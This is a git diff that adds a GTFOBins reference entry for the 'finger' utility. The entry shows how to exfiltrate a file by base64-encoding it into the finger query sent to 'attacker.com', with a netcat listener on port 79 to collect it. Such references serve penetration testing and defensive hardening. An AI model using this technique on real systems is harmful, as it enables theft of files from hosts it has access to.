diff --git a/_gtfobins/finger.md b/_gtfobins/finger.md new file mode 100644 index 0000000..785e104 --- /dev/null +++ b/_gtfobins/finger.md @@ -0,0 +1,11 @@ +--- +description: | + `finger` hangs waiting for the remote peer to close the socket. +functions: + upload: + - description: Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments. + code: | + RHOST=attacker.com + LFILE=file_to_send + finger "$(base64 $LFILE)@$RHOST" +---